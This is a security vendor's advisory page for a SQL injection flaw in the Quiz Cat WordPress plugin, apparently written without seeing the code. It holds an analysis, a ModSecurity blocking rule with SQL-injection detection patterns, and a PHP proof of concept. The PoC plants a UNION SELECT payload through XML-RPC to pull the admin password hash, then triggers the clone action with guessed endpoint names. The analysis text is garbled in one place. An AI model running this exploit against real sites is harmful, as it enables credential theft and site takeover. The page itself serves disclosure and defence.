Published : November 30, 2026

CVE-2026-90468: Quiz Cat <= 3.1.1 Authenticated (Author+) SQL Injection via 'meta_key' Parameter in Quiz Clone PoC, Patch Analysis & Rule

Plugin quiz-cat
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.1.1
Patched Version —
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-90468 (metadata-based): This is an authenticated SQL injection vulnerability in the Quiz Cat plugin (versions prepare(). The description also states that the vulnerability requires planting a malicious meta_key value via the WordPress XML-RPC API (wp.editPost) on the attacker’s own quiz before triggering the clone action. This implies that the clone function retrieves the meta_key value from the database (where it was stored via XML-RPC, bypassing the plugin’s custom-fields restriction) and then uses it unsafely in a SQL query. Atomic Edge research infers that the plugin’s clone handler may not properly sanitize the meta_key when reading it from the database and embedding it into a query, leading to SQL injection. Without a code diff, these conclusions are inferred from the CWE and description; no code has been confirmed.

Exploitation requires three steps. First, the attacker (with Author+ privileges) uses the WordPress XML-RPC API (wp.editPost) to set a custom field (meta_key) on one of their own quiz posts to a malicious SQL payload, such as a subquery that extracts data. This bypasses the plugin’s normal custom-fields restriction because XML-RPC does not enforce the plugin’s checks. Second, the attacker triggers the quiz clone action, likely via an AJAX request to admin-ajax.php with an action name such as ‘quiz_cat_clone_quiz’ (inferred from typical plugin naming, as the description does not specify the exact action). The clone function reads the malicious meta_key from the database and inserts it into a SQL query without escaping, causing the injected SQL to execute. The attacker can then observe the results, possibly through the cloned quiz’s metadata or error-based output. The exact endpoint and parameter names are not provided in the metadata, so they are inferred from common WordPress plugin patterns.

Remediation in version 3.2.0 likely involves properly escaping the meta_key value using $wpdb->prepare() or casting it to an integer or string as appropriate, and ensuring that the clone function validates and sanitizes all inputs taken from the database before using them in SQL queries. Additionally, the plugin should enforce its custom-fields restriction for XML-RPC requests, or at least sanitize meta_key values on save and on read. Atomic Edge analysis concludes that the fix requires using prepared statements for any SQL query that includes user-controlled data, even if that data comes from the database, as it may have been tainted via other channels.

The impact of exploitation is high confidentiality loss: an attacker can extract sensitive information from the WordPress database, including user credentials (password hashes), secret keys, and other plugin data. This could lead to privilege escalation or full site compromise. Integrity and availability are not directly impacted by this vulnerability, but the stolen information could be used for further attacks.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-90468 (metadata-based)
# This rule targets the XML-RPC method wp.editPost and the subsequent clone action.
# Since the exact AJAX action and parameter are not specified, we focus on the XML-RPC vector.
# However, the clone action is not named, so we cannot reliably block it without false positives.
# We block SQL injection attempts in the custom_fields of wp.editPost.
SecRule REQUEST_URI "@streq /xmlrpc.php" 
  "id:202690468,phase:2,deny,status:403,chain,msg:'CVE-2026-90468 via XML-RPC wp.editPost SQL injection',severity:'CRITICAL',tag:'CVE-2026-90468'"
  SecRule REQUEST_BODY "@rx wp.editPost" "chain"
    SecRule REQUEST_BODY "@rx (?i)(unions+select|selects+.*s+from|sleeps*(|benchmarks*(|updatexmls*(|extractvalues*()" "t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-90468 - Quiz Cat <= 3.1.1 - Authenticated (Author+) SQL Injection via 'meta_key' Parameter in Quiz Clone

// This PoC assumes the attacker has Author-level credentials and that XML-RPC is enabled.
// It also assumes the quiz clone action is 'quiz_cat_clone_quiz' and the nonce field is 'nonce',
// which are inferred from typical plugin patterns; adjust if needed.

$target_url = 'http://example.com'; // WordPress site URL
$username = 'author_user';
$password = 'author_pass';
$quiz_id = 123; // ID of the attacker's own quiz post

// Step 1: Use XML-RPC to set a malicious meta_key on the quiz.
// The payload uses a subquery to extract the admin password hash and store it in a meta field.
// This assumes the plugin stores quiz meta with keys like 'quiz_cat_meta_*' and that the clone
// operation will read and use the meta_key in a SQL query.
// The SQL injection payload is designed for a query like: SELECT ... WHERE meta_key = '$meta_key'
// We use a UNION-based injection to append a query that returns the admin hash.
// The subquery returns a string that will be compared or inserted.
$malicious_meta_key = "quiz_cat_meta_1' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -";

// Build XML-RPC request for wp.editPost
$xmlrpc_request = <<<XML
<?xml version="1.0"?>
<methodCall>
<methodName>wp.editPost</methodName>
<params>
<param><value><int>1</int></value></param> <!-- blog ID -->
<param><value><string>$username</string></value></param>
<param><value><string>$password</string></value></param>
<param><value><int>$quiz_id</int></value></param>
<param><value><struct>
<member><name>custom_fields</name><value><array><data>
<value><struct>
<member><name>key</name><value><string>$malicious_meta_key</string></value></member>
<member><name>value</name><value><string>test</string></value></member>
</struct></value>
</data></array></value></member>
</struct></value></param>
</params>
</methodCall>
XML;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/xmlrpc.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xmlrpc_request);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/xml'));
$response = curl_exec($ch);
curl_close($ch);

echo "XML-RPC response: $responsen";

// Step 2: Trigger the quiz clone action via admin-ajax.php.
// We need a valid nonce. In a real attack, the nonce would be obtained from the quiz admin page.
// For this PoC, we assume the attacker can retrieve it (e.g., by parsing the page).
// We'll try to fetch the nonce by loading the quiz list page.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=quiz_cat_quiz');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); // assume we have logged in and saved cookies
$page = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (pattern: 'quiz_cat_clone_nonce' or similar).
// This is a guess; adjust based on actual page source.
$nonce = '';
if (preg_match('/quiz_cat_clone_nonce["']?s*[:=]s*["']([a-z0-9]+)["']/i', $page, $matches)) {
    $nonce = $matches[1];
} else {
    // Fallback: try common nonce names.
    if (preg_match('/"nonce":"([a-z0-9]+)"/i', $page, $matches)) {
        $nonce = $matches[1];
    }
}
if (empty($nonce)) {
    die("Could not extract nonce. Manually provide a nonce.n");
}

// Send the clone request.
$post_fields = array(
    'action' => 'quiz_cat_clone_quiz', // inferred action name
    'quiz_id' => $quiz_id,
    'nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
$clone_response = curl_exec($ch);
curl_close($ch);

echo "Clone response: $clone_responsen";

// If the injection is successful, the admin hash may be reflected in the cloned quiz's meta or in an error.
// In a real attack, the attacker would exfiltrate data via out-of-band or by observing changes.
// This PoC demonstrates the request structure; actual data extraction requires further steps.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.